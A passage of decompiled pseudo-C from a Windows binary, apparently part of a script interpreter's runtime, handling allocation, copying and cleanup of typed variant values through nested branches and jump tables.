											if( *(_t1541 + 0x2c) != 0) {
												E004436F6(_t1230, _t1480, _t1539, _t1202);
												 *(_t1541 + 0x2c) = 0;
											}
											L10:
											_t1204 =  *(_t1541 + 0x28);
											if(_t1204 == 8) {
												_t1205 =  *(_t1541 + 0x20);
												__eflags = _t1205;
												if(__eflags != 0) {
													 *0x48242c(_t1205);
													_t1390 =  *(_t1541 + 0x20);
													E004112EF(_t1230,  *(_t1541 + 0x20), _t1480, _t1534, __eflags,  *(_t1541 + 0x20));
													_t1541 = _t1541 + 4;
												}
											} else {
												if(_t1204 == 0xa) {
													_t1220 =  *(_t1541 + 0x20);
													__eflags =  *(_t1541 + 0x20);
													if(__eflags != 0) {
														E0044478F(_t1230, _t1480, _t1539, _t1220);
													}
												} else {
													if(_t1204 == 5) {
														E0040E380(_t1541 + 0x20, _t1230, _t1534);
													} else {
														if(_t1204 == 0xb) {
															E004112EF(_t1230, _t1390, _t1480, _t1534, __eflags,  *((intOrPtr*)( *(_t1541 + 0x20) + 4)));
															_t1390 =  *(_t1541 + 0x24);
															E004112EF(_t1230,  *(_t1541 + 0x24), _t1480, _t1534, __eflags,  *(_t1541 + 0x24));
															_t1541 = _t1541 + 8;
														} else {
															if(_t1204 == 0xc) {
																_t1227 =  *(_t1541 + 0x20);
																__eflags =  *(_t1541 + 0x20);
																if(__eflags != 0) {
																	E0044B3B8(_t1230, _t1390, _t1480, _t1539, _t1227);
																}
															}
														}
													}
												}
											}
											L15:
											_t1504 =  *(_t1541 + 0x38);
											_t1206 =  *(_t1541 + 0x3c);
											 *(_t1541 + 0x28) = 1;
											 *(_t1541 + 0x20) = 0;
											_t1579 = _t1504 - _t1206;
											if(_t1504 == _t1206) {
												_t1207 = _t1206 + _t1206;
												__eflags = _t1207 - 4;
												if(__eflags < 0) {
													_t1207 = 4;
												}
												 *(_t1541 + 0x3c) = _t1207;
												_t1390 = _t1207 * 4 >> 0x20;
												_push( ~(0 | __eflags > 0x00000000) | _t1207 * 0x00000004);
												_t1209 = E0041171A(_t1230, _t1480, __eflags);
												_t1230 =  *(_t1541 + 0x38);
												_t1502 = _t1209;
												E00410F70( *(_t1541 + 0x38), _t1502, _t1504, _t1502,  *(_t1541 + 0x38), _t1504 * 4);
												E004112EF( *(_t1541 + 0x38), _t1207 * 4 >> 0x20, _t1502, _t1504, __eflags,  *(_t1541 + 0x38));
												_t1541 = _t1541 + 0x14;
												 *(_t1541 + 0x34) = _t1502;
											}
											L16:
											_t1480 =  *(_t1541 + 0x34);
											_push(0x10);
											_t1213 = E0041171A(_t1230, _t1480, _t1579);
											_t1541 = _t1541 + 4;
											if(_t1213 == 0) {
												L298:
												_t814 = 0;
												goto L20;
											}
											L17:
											_t1229 = _t1213;
											_t1214 =  *(_t1541 + 0x28);
											_t1229[2] = _t1214;
											_t1229[3] = 0;
											if(_t1214 != 1) {
												L272:
												_t1215 = _t1214 - 1;
												__eflags = _t1215 - 0xb;
												if(__eflags > 0) {
													goto L286;
												}
												L273:
												switch( *((intOrPtr*)(_t1215 * 4 +  &M0042E5FD))) {
													case 0:
														goto L18;
													case 1:
														L277:
														__eax =  *(__esp + 0x20);
														 *__ebx =  *(__esp + 0x20);
														__ecx =  *(__esp + 0x24);
														__ebx[1] = __ecx;
														while(1) {
															L19:
															_t814 = _t1229;
															goto L20;
														}
													case 2:
														L278:
														__fp0 =  *(__esp + 0x20);
														__esp = __esp + 1;
														__al = __al & 0x00000020;
														 *__ebx = __fp0;
														while(1) {
															L19:
															_t814 = _t1229;
															goto L20;
														}
													case 3:
														L274:
														_push(0x10);
														_t1216 = E0041171A(_t1229, _t1480, __eflags);
														_t1541 = _t1541 + 4;
														__eflags = _t1216;
														if(_t1216 == 0) {
															_t1229[3] = 0;
														} else {
															_t1387 =  *(_t1541 + 0x2c);
															 *_t1216 =  *_t1387;
															 *((intOrPtr*)(_t1216 + 4)) =  *((intOrPtr*)(_t1387 + 4));
															_t1390 =  *(_t1387 + 8);
															 *(_t1216 + 8) =  *(_t1387 + 8);
															_t1388 =  *((intOrPtr*)(_t1387 + 0xc));
															 *((intOrPtr*)(_t1216 + 0xc)) = _t1388;
															 *_t1388 =  *_t1388 + 1;
															_t1229[3] = _t1216;
														}
														while(1) {
															L19:
															_t814 = _t1229;
															goto L20;
														}
													case 4:
														L281:
														_push(0x214);
														__eax = E0041171A(__ebx, __edi, __eflags);
														__esp = __esp + 4;
														__eflags = __eax;
														if(__eax == 0) {
															__eax = 0;
															__eflags = 0;
														} else {
															__esi =  *(__esp + 0x20);
															__ecx = 0x85;
															__edi = __eax;
															__eax = memcpy(__eax, __esi, 0x85 << 2);
															__edi = __esi + __ecx;
															__edi = __esi + __ecx + __ecx;
															__ecx = 0;
														}
														 *__ebx = __eax;
														__eflags =  *(__eax + 4);
														if( *(__eax + 4) != 0) {
															__eax =  *(__eax + 4);
															 *__eax =  *__eax + 1;
															__eflags =  *__eax;
														}
														goto L286;
													case 5:
														L280:
														__eax =  *(__esp + 0x20);
														 *__ebx =  *(__esp + 0x20);
														while(1) {
															L19:
															_t814 = _t1229;
															goto L20;
														}
													case 6:
														goto L0;
													case 7:
														L289:
														 *__ebx =  *(__esp + 0x20);
														while(1) {
															L19:
															_t814 = _t1229;
															goto L20;
														}
													case 8:
														L290:
														_push(0x18);
														__eax = E0041171A(__ebx, __edi, __eflags);
														__esp = __esp + 4;
														__eflags = __eax;
														if(__eax == 0) {
															goto L292;
														}
														L291:
														__ecx =  *(__esp + 0x20);
														 *__ebx = __eax;
														while(1) {
															L19:
															_t814 = _t1229;
															goto L20;
														}
													case 9:
														L293:
														_push(8);
														__eax = E0041171A(__ebx, __edi, __eflags);
														 *__ebx = __eax;
														__edx =  *(__esp + 0x24);
														__ecx =  *( *(__esp + 0x24));
														 *__eax =  *( *(__esp + 0x24));
														__edx =  *__ebx;
														__eax =  *( *__ebx);
														__esp = __esp + 4;
														__eflags = __eax;
														if(__eflags == 0) {
															_push(1);
															__eax = E0041171A(__ebx, __edi, __eflags);
															__ecx =  *__ebx;
															 *(__ecx + 4) = __eax;
															__edx =  *__ebx;
															__eax =  *(__edx + 4);
															__esp = __esp + 4;
															 *( *(__edx + 4)) = 0;
														} else {
															_push(__eax);
															__eax = E0041171A(__ebx, __edi, __eflags);
															__ecx =  *__ebx;
															 *( *__ebx + 4) = __eax;
															__eax =  *__ebx;
															__edx =  *__eax;
															__ecx =  *(__esp + 0x24);
															__eax =  *(__eax + 4);
															__esp = __esp + 4;
															__edx =  *(__ecx + 4);
															__eax = E00410F70(__ebx, __edi, __esi, __eax,  *(__ecx + 4),  *(__ecx + 4));
														}
														while(1) {
															L19:
															_t814 = _t1229;
															goto L20;
														}
													case 0xa:
														L296:
														_push(0x14);
														__eax = E0041171A(__ebx, __edi, __eflags);
														__esp = __esp + 4;
														__eflags = __eax;
														if(__eax == 0) {
															L292:
															__eax = 0;
															 *__ebx = 0;
															while(1) {
																L19:
																_t814 = _t1229;
																goto L20;
															}
														}
														L297:
														__ecx =  *(__esp + 0x20);
														_push( *(__esp + 0x20));
														_push(__eax);
														 *__ebx = E0046E9CD();
														while(1) {
															L19:
															_t814 = _t1229;
															goto L20;
														}
												}
											}
											L18:
											_t1390 =  *(_t1541 + 0x20);
											 *_t1229 =  *(_t1541 + 0x20);
											L19:
											_t814 = _t1229;
											goto L20;
										}
									}
									break;
								}
							}
							L28:
							_t1230 =  *(_t1541 + 0x5c);
							if(_t1230 <  *(_t1541 + 0x44) || _t1230 >  *((intOrPtr*)(_t1541 + 0x74)) || _t1390 !=  *(_t1541 + 0x14)) {
								L576:
								_push( *(_t1541 + 0x84));
								_push(0x70);
								goto L577;
							} else {
								L31:
								_t825 =  *(_t1541 + 0x7c);
								_t1509 = 0;
								 *(_t1541 + 0x10) = 3;
								 *(_t1541 + 0x1c) = 0;
								 *(_t1541 + 0x4c) = 0;
								 *(_t1541 + 0x50) = _t825;
								if(_t825 < 0) {
									 *(_t1541 + 0x50) = 0;
								}
								_t1594 =  *0x4a7ce5;
								if( *0x4a7ce5 != 0) {
									_t1393 =  *0x4a7ce0; // 0x0
									 *_t1393 = 0;
									_t1252 =  *0x4a7ce0; // 0x0
									 *(_t1252 + 4) =  *(_t1541 + 0x50);
									 *0x4a7ce5 = 0;
								} else {
									_push(0xc);
									_t1150 = E0041171A(_t1230, _t1480, _t1594);
									_t1541 = _t1541 + 4;
									if(_t1150 == _t1509) {
										_t1501 = 0;
									} else {
										_t1501 = _t1150;
										 *_t1501 = _t1509;
										 *(_t1501 + 4) =  *(_t1541 + 0x50);
										if( *(_t1541 + 0x50) < _t1509) {
											 *(_t1501 + 4) = _t1509;
										}
										_t1151 =  *(_t1541 + 0x4c);
										if(_t1151 != _t1509) {
											_push(0x20);
											 *(_t1541 + 0x1c) = _t1151;
											_t1152 = E0041171A(_t1230, _t1501, __eflags);
											_t1541 = _t1541 + 4;
											__eflags = _t1152 - _t1509;
											if(_t1152 == _t1509) {
												_t1153 = 0;
												__eflags = 0;
											} else {
												_t1153 = E0044B3F6(_t1152);
											}
											 *_t1501 = _t1153;
											E0040DF50(_t1153,  *(_t1541 + 0x18));
											_t1530 =  *(_t1541 + 0x18);
											 *((intOrPtr*)( *_t1501 + 0x10)) =  *((intOrPtr*)(_t1530 + 0x10));
											 *((intOrPtr*)( *_t1501 + 0x14)) =  *((intOrPtr*)(_t1530 + 0x14));
											 *((intOrPtr*)( *_t1501 + 0x18)) = 0;
											 *((intOrPtr*)( *_t1501 + 0x1c)) = 0;
											E004530B3( *_t1501 + 0x18,  *((intOrPtr*)(_t1530 + 0x18)));
											E004530B3( *_t1501 + 0x1c,  *((intOrPtr*)(_t1530 + 0x1c)));
											_t1509 = 0;
										} else {
											 *_t1501 = _t1509;
										}
									}
									_t1350 =  *0x4a7ce0; // 0x0
									 *(_t1501 + 8) = _t1350;
									 *0x4a7ce0 = _t1501;
								}
								_t827 =  *(_t1541 + 0x4c);
								_t1394 = 1;
								 *0x4a7cdc =  *0x4a7cdc + 1;
								if(_t827 != _t1509) {
									_t1482 = _t827;
									_t828 = _t827[6];
									__eflags = _t828 - _t1509;
									if(_t828 != _t1509) {
										E0040B800(_t1230, _t1541 + 0x50, 1, _t1539, _t828);
										_t1394 = 1;
									}
									_t829 = _t1482[7];
									__eflags = _t829 - _t1509;
									if(_t829 != _t1509) {
										E0040B800(_t1230, _t1541 + 0x50, _t1394, _t1539, _t829);
										_t1394 = 1;
									}
									__eflags = _t1482[4];
									if(__eflags == 0) {
										_t1347 = _t1482[5];
										__eflags = _t1482[5] - _t1509;
										if(__eflags != 0) {
											E0040E2E0(_t1230, _t1347, _t1539, _t1394);
										}
									}
									E004436F6(_t1230, _t1482, _t1539, _t1482);
									_t1394 = 1;
								}
								if( *((intOrPtr*)(_t1541 + 0x74)) < _t1394) {
									L117:
									_t1510 =  *(_t1539 + 8);
									_t1510[0x52] = _t1230;
									 *(_t1541 + 0x88) = 0;
									 *(_t1541 + 0x94) = 0;
									 *((char*)(_t1541 + 0x98)) = 0;
									 *(_t1541 + 0x9c) = 0;
									 *((char*)(_t1541 + 0xa0)) = 0;
									 *(_t1541 + 0xa8) = 0;
									 *(_t1541 + 0xb4) = 0;
									 *((char*)(_t1541 + 0xb8)) = 0;
									_t832 =  *((intOrPtr*)( *_t1510 + 4));
									_t1649 =  *((char*)(_t832 +  &(_t1510[3])));
									_t232 =  &(_t1510[1]); // 0x4
									_t1483 = _t832 + _t232;
									 *(_t1541 + 0x90) = 1;
									 *(_t1541 + 0xb0) = 1;
									if( *((char*)(_t832 +  &(_t1510[3]))) != 0) {
										E004721E5(_t1541 + 0x88,  *((intOrPtr*)(_t1483 + 4)), _t1541 + 0x88);
										 *((char*)(_t1483 + 9)) = 0;
									} else {
										_push(0x40);
										_t1030 = E0041171A(_t1230, _t1483, _t1649);
										_t1541 = _t1541 + 4;
										if(_t1030 == 0) {
											_t1030 = 0;
										} else {
											 *(_t1030 + 8) = 1;
											 *((intOrPtr*)(_t1030 + 0xc)) = 0;
											 *_t1030 = 0;
											 *((char*)(_t1030 + 0x10)) = 0;
											 *((intOrPtr*)(_t1030 + 0x14)) = 0;
											 *((char*)(_t1030 + 0x18)) = 0;
											 *(_t1030 + 0x28) = 1;
											 *((intOrPtr*)(_t1030 + 0x2c)) = 0;
											 *((intOrPtr*)(_t1030 + 0x20)) = 0;
											 *((char*)(_t1030 + 0x30)) = 0;
										}
										 *((intOrPtr*)(_t1030 + 0x38)) =  *((intOrPtr*)(_t1483 + 4));
										 *((intOrPtr*)(_t1483 + 4)) = _t1030;
									}
									 *_t1483 =  *_t1483 + 1;
									_t1232 = _t1510[0x5b];
									_t250 =  &(_t1510[0x5b]); // 0x1ad
									_t1484 = _t250;
									 *(_t1541 + 0x50) = _t1510[0x3d];
									L00409560(_t1510, _t1510[0x3d], _t1745,  *(_t1541 + 0x7c) + 1);
									if(_t1232 <  *_t1484) {
										do {
											L424:
											E0040C8A0(_t1484);
											__eflags = _t1232 -  *_t1484;
										} while (__eflags < 0);
										goto L122;
									} else {
										L122:
										_t1485 = _t1510;
										_t1485[0x3d] =  *(_t1541 + 0x4c);
										_t838 =  *( *_t1485 + 4);
										_t839 = _t838 +  &(_t1485[1]);
										if( *((char*)(_t838 +  &(_t1485[3]))) != 0) {
											_t840 =  *((intOrPtr*)( *((intOrPtr*)(_t839 + 4)) + 0x38));
										} else {
											_t840 =  *((intOrPtr*)(_t839 + 4));
										}
										if( *((char*)(_t840 + 0x10)) == 0) {
											L463:
											_t1511 =  *(_t1539 + 0x10);
											 *( *(_t1539 + 0x14)) = 0;
											E004092C0(_t1485, _t1511);
											_t1511[2] = 1;
											 *_t1511 = 0;
											goto L138;
										} else {
											L125:
											_t1410 =  *(_t1539 + 0x14);
											 *( *(_t1539 + 0x14)) = 1;
											_t1288 =  *( *_t1485 + 4);
											_t1010 = _t1288 +  &(_t1485[1]);
											if( *((char*)(_t1288 +  &(_t1485[3]))) != 0) {
												_t1410 =  *(_t1010 + 4);
												_t1517 = ( *(_t1010 + 4))[0xe];
											} else {
												_t1517 =  *(_t1010 + 4);
											}
											_t1241 =  *(_t1539 + 0x10);
											if(_t1241 == _t1517) {
												L138:
												_t1258 =  *_t1485;
												_t1399 =  *( *_t1485 + 4);
												_t843 =  *((intOrPtr*)(_t1399 +  &(_t1485[2])));
												_t1512 = _t1399 +  &(_t1485[1]);
												if( *((char*)(_t1399 +  &(_t1485[3]))) != 0) {
													_t843 =  *((intOrPtr*)(_t843 + 0x38));
												}
												if( *((char*)(_t843 + 0x18)) != 0) {
													_t845 = E00404110(_t1512);
													_t1258 =  *(_t845 + 0x14);
													 *(_t1541 + 0x9c) =  *(_t845 + 0x14);
												}
												if(_t1512[2] != 0) {
													_t1399 = _t1512[1];
													_t846 =  *(_t1512[1] + 0x38);
												} else {
													_t846 = _t1512[1];
												}
												if( *((char*)(_t846 + 0x30)) != 0) {
													E00409210(_t1541 + 0xac, _t1258, _t1539, E00404110(_t1512) + 0x20);
												}
												_t1234 =  *(_t1539 + 8);
												_t1259 =  *((intOrPtr*)( *_t1234 + 4));
												_t1486 = _t1259 +  &(_t1234[1]);
												if( *((char*)(_t1259 +  &(_t1234[3]))) != 0) {
													_t852 =  *(_t1486 + 4);
													_t1512 =  *(_t852 + 0x38);
													__eflags = _t852;
													if(__eflags != 0) {
														E0044CC6C(_t1234, _t1399, _t1486, _t1539, __eflags, _t852);
													}
													 *(_t1486 + 4) = _t1512;
													 *((char*)(_t1486 + 9)) = 0;
												}
												if( *((char*)(_t1486 + 8)) != 0) {
													L470:
													 *((char*)(_t1486 + 9)) = 1;
													goto L162;
												} else {
													L145:
													_t1512 =  *(_t1486 + 4);
													_t1408 = _t1512[0xe];
													 *(_t1541 + 0x4c) = _t1512[0xe];
													if(_t1512 == 0) {
														L161:
														 *(_t1486 + 4) =  *(_t1541 + 0x4c);
														 *((char*)(_t1486 + 9)) = 0;
														L162:
														 *_t1486 =  *_t1486 - 1;
														_t854 =  *((intOrPtr*)( *_t1234 + 4));
														_t1260 =  *((intOrPtr*)(_t854 +  &(_t1234[2])));
														_t855 = _t854 + _t1234;
														if( *((char*)(_t855 + 0xd)) != 0) {
															_t1260 =  *((intOrPtr*)(_t1260 + 0x38));
														}
														_t1400 =  *(_t1541 + 0x9c);
														 *(_t1260 + 0x14) =  *(_t1541 + 0x9c);
														_t856 =  *((intOrPtr*)(_t855 + 8));
														if( *((char*)(_t855 + 0xd)) != 0) {
															_t856 =  *((intOrPtr*)(_t856 + 0x38));
														}
														 *((char*)(_t856 + 0x18)) = 0;
														_t858 =  *((intOrPtr*)( *_t1234 + 4)) + _t1234;
														 *(_t1541 + 0x4c) = _t858;
														if(_t858[3] != 0) {
															_t1400 = _t858[2];
															_t859 =  *(_t858[2] + 0x38);
														} else {
															_t859 = _t858[2];
														}
														_t330 = _t859 + 0x20; // 0x21
														_t1235 = _t330;
														if(_t1235 == _t1541 + 0xa8) {
															L176:
															_t1487 =  *(_t1541 + 0x6c);
															goto L177;
														} else {
															L167:
															_t957 = _t1235[3];
															if(_t1235[3] != 0) {
																E004436F6(_t1235, _t1486, _t1539, _t957);
																_t1235[3] = 0;
															}
															_t959 = _t1235[2];
															if(_t959 == 8) {
																L493:
																_t1279 =  *_t1235;
																__eflags = _t1279;
																if(__eflags == 0) {
																	goto L169;
																}
																L494:
																 *0x48242c(_t1279);
																E004112EF(_t1235, _t1400, _t1486, _t1512, __eflags,  *_t1235);
																_t1541 = _t1541 + 4;
																goto L173;
															} else {
																L169:
																if(_t959 == 0xa) {
																	_t960 =  *_t1235;
																	__eflags =  *_t1235;
																	if(__eflags != 0) {
																		E0044478F(_t1235, _t1486, _t1539, _t960);
																	}
																} else {
																	if(_t959 == 5) {
																		E0040E380(_t1235, _t1235, _t1512);
																	} else {
																		if(_t959 == 0xb) {
																			_t1400 =  *_t1235;
																			E004112EF(_t1235,  *_t1235, _t1486, _t1512, __eflags,  *((intOrPtr*)( *_t1235 + 4)));
																			E004112EF(_t1235,  *_t1235, _t1486, _t1512, __eflags,  *_t1235);
																			_t1541 = _t1541 + 8;
																		} else {
																			if(_t959 == 0xc) {
																				_t971 =  *_t1235;
																				__eflags =  *_t1235;
																				if(__eflags != 0) {
																					E0044B3B8(_t1235, _t1400, _t1486, _t1539, _t971);
																				}
																			}
																		}
																	}
																}
																L173:
																_t961 =  *(_t1541 + 0xb0);
																 *_t1235 = 0;
																_t1235[2] = _t961;
																if(_t961 != 1) {
																	L501:
																	_t962 = _t961 - 1;
																	__eflags = _t962 - 0xb;
																	if(__eflags > 0) {
																		goto L176;
																	}
																	L502:
																	switch( *((intOrPtr*)(_t962 * 4 +  &M0042E65D))) {
																		case 0:
																			goto L174;
																		case 1:
																			L503:
																			_t1400 =  *(_t1541 + 0xa8);
																			 *_t1235 =  *(_t1541 + 0xa8);
																			_t1235[1] =  *(_t1541 + 0xac);
																			goto L176;
																		case 2:
																			L504:
																			__fp0 =  *(__esp + 0xa8);
																			__eflags = __al & 0x00000000;
																			 *__eax =  *__eax + __al;
																			 *__ebx = __fp0;
																			goto L176;
																		case 3:
																			L506:
																			_push(0x10);
																			__eax = E0041171A(__ebx, __edi, __eflags);
																			__esp = __esp + 4;
																			__eflags = __eax;
																			if(__eflags == 0) {
																				__eax = 0;
																				__ebx[3] = 0;
																			} else {
																				__ecx =  *(__esp + 0xb4);
																				__edx =  *__ecx;
																				 *__eax =  *__ecx;
																				__edx =  *(__ecx + 4);
																				 *(__eax + 4) =  *(__ecx + 4);
																				__edx =  *(__ecx + 8);
																				 *(__eax + 8) = __edx;
																				__ecx =  *(__ecx + 0xc);
																				 *(__eax + 0xc) = __ecx;
																				 *__ecx =  *__ecx + 1;
																				__ebx[3] = __eax;
																			}
																			goto L176;
																		case 4:
																			L510:
																			_push(0x214);
																			__eax = E0041171A(__ebx, __edi, __eflags);
																			__esp = __esp + 4;
																			__eflags = __eax;
																			if(__eax == 0) {
																				__eax = 0;
																				__eflags = 0;
																			} else {
																				__esi =  *(__esp + 0xa8);
																				__ecx = 0x85;
																				__edi = __eax;
																				__eax = memcpy(__eax, __esi, 0x85 << 2);
																				__esi + __ecx = __esi + __ecx + __ecx;
																				__ecx = 0;
																			}
																			__edi =  *(__esp + 0x6c);
																			 *__ebx = __eax;
																			__eflags =  *(__eax + 4);
																			if(__eflags != 0) {
																				__eax =  *(__eax + 4);
																				 *__eax =  *__eax + 1;
																			}
																			L177:
																			_t861 =  *(_t1541 + 0x4c);
																			if(_t861[3] != 0) {
																				_t862 =  *(_t861[2] + 0x38);
																			} else {
																				_t862 = _t861[2];
																			}
																			 *((char*)(_t862 + 0x30)) = 0;
																			if( *0x4a7ce5 != 0) {
																				_t863 =  *0x4a7ce0; // 0x0
																				_t1512 =  *(_t863 + 8);
																				E0046E709(_t1487, _t863);
																				_t1263 =  *(_t863 + 8);
																				 *0x4a7ce0 = _t1263;
																				 *0x4a7ce5 = 0;
																			} else {
																				_t1263 =  *0x4a7ce0; // 0x0
																			}
																			if( *0x4a7ce4 != 0) {
																				L529:
																				_t1236 =  *(_t1541 + 0x68);
																				 *0x4a7ce5 = 1;
																				goto L201;
																			} else {
																				L182:
																				_t1512 =  *_t1263;
																				_t1407 = _t1263[2];
																				 *(_t1541 + 0x44) = _t1263[2];
																				 *(_t1541 + 0x4c) = _t1263;
																				if(_t1512 == 0) {
																					L200:
																					_t1236 =  *(_t1541 + 0x68);
																					E004112EF( *(_t1541 + 0x68), _t1407, _t1487, _t1512, _t1711,  *(_t1541 + 0x4c));
																					_t1400 =  *(_t1541 + 0x48);
																					_t1541 = _t1541 + 4;
																					 *0x4a7ce0 = _t1400;
																					 *0x4a7ce5 = 0;
																					L201:
																					 *0x4a7cdc =  *0x4a7cdc - 1;
																					( *(_t1539 + 8))[0x52] =  *(_t1541 + 0xdc);
																					_t866 =  *(_t1541 + 0xb4);
																					if( *(_t1541 + 0xb4) != 0) {
																						E004436F6(_t1236, _t1487, _t1539, _t866);
																						 *(_t1541 + 0xb4) = 0;
																					}
																					_t868 =  *(_t1541 + 0xb0);
																					if(_t868 == 8) {
																						_t1513 =  *(_t1541 + 0xa8);
																						__eflags = _t1513;
																						if(__eflags != 0) {
																							_push(_t1513);
																							 *0x48242c();
																							E004112EF(_t1236, _t1400, _t1487, _t1513, __eflags, _t1513);
																							_t1541 = _t1541 + 4;
																						}
																					} else {
																						if(_t868 == 0xa) {
																							_t920 =  *(_t1541 + 0xa8);
																							__eflags =  *(_t1541 + 0xa8);
																							if(__eflags != 0) {
																								E0044478F(_t1236, _t1487, _t1539, _t920);
																							}
																						} else {
																							if(_t868 == 5) {
																								E0040E380(_t1541 + 0xa8, _t1236, _t1512);
																							} else {
																								if(_t868 == 0xb) {
																									E004112EF(_t1236,  *((intOrPtr*)( *(_t1541 + 0xa8) + 4)), _t1487,  *(_t1541 + 0xa8), __eflags,  *((intOrPtr*)( *(_t1541 + 0xa8) + 4)));
																									E004112EF(_t1236,  *((intOrPtr*)( *(_t1541 + 0xa8) + 4)), _t1487,  *(_t1541 + 0xa8), __eflags,  *(_t1541 + 0xa8));
																									_t1541 = _t1541 + 8;
																								} else {
																									if(_t868 == 0xc) {
																										_t926 =  *(_t1541 + 0xa8);
																										__eflags =  *(_t1541 + 0xa8);
																										if(__eflags != 0) {
																											E0044B3B8(_t1236, _t1400, _t1487, _t1539, _t926);
																										}
																									}
																								}
																							}
																						}
																					}
																					_t869 =  *(_t1541 + 0x94);
																					_t1514 =  *(_t1541 + 0x90);
																					_t1265 = 0;
																					_t1401 = 1;
																					 *(_t1541 + 0xb0) = 1;
																					 *(_t1541 + 0xa8) = 0;
																					if( *(_t1541 + 0x94) != 0) {
																						E004436F6(_t1236, _t1487, _t1539, _t869);
																						_t1265 = 0;
																						 *(_t1541 + 0x94) = 0;
																						_t777 = _t1265 + 1; // 0x1
																						_t1401 = _t777;
																					}
																					if(_t1514 == 8) {
																						__eflags =  *(_t1541 + 0x88) - _t1265;
																						if(__eflags != 0) {
																							_t1514 =  *(_t1541 + 0x88);
																							_push( *(_t1541 + 0x88));
																							 *0x48242c();
																							E004112EF(_t1236, _t1401, _t1487,  *(_t1541 + 0x88), __eflags,  *(_t1541 + 0x88));
																							_t1541 = _t1541 + 4;
																							_t1265 = 0;
																							_t780 = _t1265 + 1; // 0x1
																							_t1401 = _t780;
																						}
																					} else {
																						if(_t1514 == 0xa) {
																							__eflags =  *(_t1541 + 0x88) - _t1265;
																							if(__eflags != 0) {
																								E0044478F(_t1236, _t1487, _t1539,  *(_t1541 + 0x88));
																								_t1265 = 0;
																								_t783 = _t1265 + 1; // 0x1
																								_t1401 = _t783;
																							}
																						} else {
																							if(_t1514 == 5) {
																								E0040E380(_t1541 + 0x88, _t1236, _t1514);
																								_t1265 = 0;
																								_t785 = _t1265 + 1; // 0x1
																								_t1401 = _t785;
																							} else {
																								if(_t1514 == 0xb) {
																									_t1514 =  *(_t1541 + 0x88);
																									E004112EF(_t1236, _t1401, _t1487,  *(_t1541 + 0x88), __eflags, ( *(_t1541 + 0x88))[1]);
																									E004112EF(_t1236, _t1401, _t1487,  *(_t1541 + 0x88), __eflags,  *(_t1541 + 0x88));
																									_t1541 = _t1541 + 8;
																									_t1265 = 0;
																									_t788 = _t1265 + 1; // 0x1
																									_t1401 = _t788;
																								} else {
																									if(_t1514 == 0xc) {
																										__eflags =  *(_t1541 + 0x88) - _t1265;
																										if(__eflags != 0) {
																											E0044B3B8(_t1236,  *(_t1541 + 0x88), _t1487, _t1539,  *(_t1541 + 0x88));
																											_t1265 = 0;
																											_t791 = _t1265 + 1; // 0x1
																											_t1401 = _t791;
																										}
																									}
																								}
																							}
																						}
																					}
																					_t871 =  *(_t1541 + 0x2c);
																					if( *(_t1541 + 0x2c) != _t1265) {
																						E004436F6(_t1236, _t1487, _t1539, _t871);
																						_t1265 = 0;
																						 *(_t1541 + 0x2c) = 0;
																						_t793 = _t1265 + 1; // 0x1
																						_t1401 = _t793;
																					}
																					_t873 =  *(_t1541 + 0x28);
																					if(_t873 == 8) {
																						_t874 =  *(_t1541 + 0x20);
																						__eflags = _t874 - _t1265;
																						if(__eflags != 0) {
																							_push(_t874);
																							 *0x48242c();
																							E004112EF(_t1236, _t1401, _t1487, _t1514, __eflags,  *(_t1541 + 0x20));
																							_t1541 = _t1541 + 4;
																							_t1265 = 0;
																							_t796 = _t1265 + 1; // 0x1
																							_t1401 = _t796;
																						}
																					} else {
																						if(_t873 == 0xa) {
																							_t900 =  *(_t1541 + 0x20);
																							__eflags =  *(_t1541 + 0x20) - _t1265;
																							if(__eflags != 0) {
																								E0044478F(_t1236, _t1487, _t1539, _t900);
																								_t1265 = 0;
																								_t798 = _t1265 + 1; // 0x1
																								_t1401 = _t798;
																							}
																						} else {
																							if(_t873 == 5) {
																								E0040E380(_t1541 + 0x20, _t1236, _t1514);
																								_t1265 = 0;
																								_t800 = _t1265 + 1; // 0x1
																								_t1401 = _t800;
																							} else {
																								if(_t873 == 0xb) {
																									E004112EF(_t1236,  *((intOrPtr*)( *(_t1541 + 0x20) + 4)), _t1487, _t1514, __eflags,  *((intOrPtr*)( *(_t1541 + 0x20) + 4)));
																									E004112EF(_t1236,  *((intOrPtr*)( *(_t1541 + 0x20) + 4)), _t1487, _t1514, __eflags,  *(_t1541 + 0x24));
																									_t1541 = _t1541 + 8;
																									_t1265 = 0;
																									_t804 = _t1265 + 1; // 0x1
																									_t1401 = _t804;
																								} else {
																									if(_t873 == 0xc) {
																										_t907 =  *(_t1541 + 0x20);
																										__eflags =  *(_t1541 + 0x20) - _t1265;
																										if(__eflags != 0) {
																											E0044B3B8(_t1236, _t1401, _t1487, _t1539, _t907);
																											_t1265 = 0;
																											_t806 = _t1265 + 1; // 0x1
																											_t1401 = _t806;
																										}
																									}
																								}
																							}
																						}
																					}
																					 *(_t1541 + 0x28) = _t1401;
																					 *(_t1541 + 0x20) = _t1265;
																					if(_t1487 <= _t1265) {
																						L222:
																						_t1402 =  *(_t1541 + 0x68);
																						E004112EF(_t1236,  *(_t1541 + 0x68), _t1487, _t1514, _t1732,  *(_t1541 + 0x68));
																						_t1543 = _t1541 + 4;
																						if( *((intOrPtr*)(_t1543 + 0x38)) <= 0) {
																							L235:
																							E004112EF(_t1236,  *((intOrPtr*)(_t1543 + 0x34)), _t1487, _t1514, _t1743,  *((intOrPtr*)(_t1543 + 0x34)));
																							_t820 = 0;
																							goto L236;
																						} else {
																							_t1237 = 0;
																							do {
																								L224:
																								_t1514 =  *( *((intOrPtr*)(_t1543 + 0x34)) + _t1237 * 4);
																								if(_t1514 == 0) {
																									goto L234;
																								}
																								L225:
																								_t1487 = _t1514[3];
																								if(_t1487 != 0) {
																									 *( *(_t1487 + 0xc)) =  *( *(_t1487 + 0xc)) - 1;
																									_t1737 =  *( *(_t1487 + 0xc));
																									if( *( *(_t1487 + 0xc)) == 0) {
																										_t1402 =  *_t1487;
																										E004112EF(_t1237,  *_t1487, _t1487, _t1514, __eflags,  *_t1487);
																										E004112EF(_t1237,  *_t1487, _t1487, _t1514, __eflags,  *(_t1487 + 0xc));
																										_t1543 = _t1543 + 8;
																									}
																									E004112EF(_t1237, _t1402, _t1487, _t1514, _t1737, _t1487);
																									_t1543 = _t1543 + 4;
																									_t1514[3] = 0;
																								}
																								_t878 = _t1514[2];
																								if(_t878 == 8) {
																									L568:
																									_t1266 =  *_t1514;
																									__eflags = _t1266;
																									if(__eflags == 0) {
																										goto L229;
																									}
																									L569:
																									_push(_t1266);
																									 *0x48242c();
																									E004112EF(_t1237, _t1402, _t1487, _t1514, __eflags,  *_t1514);
																									_t1543 = _t1543 + 4;
																									goto L233;
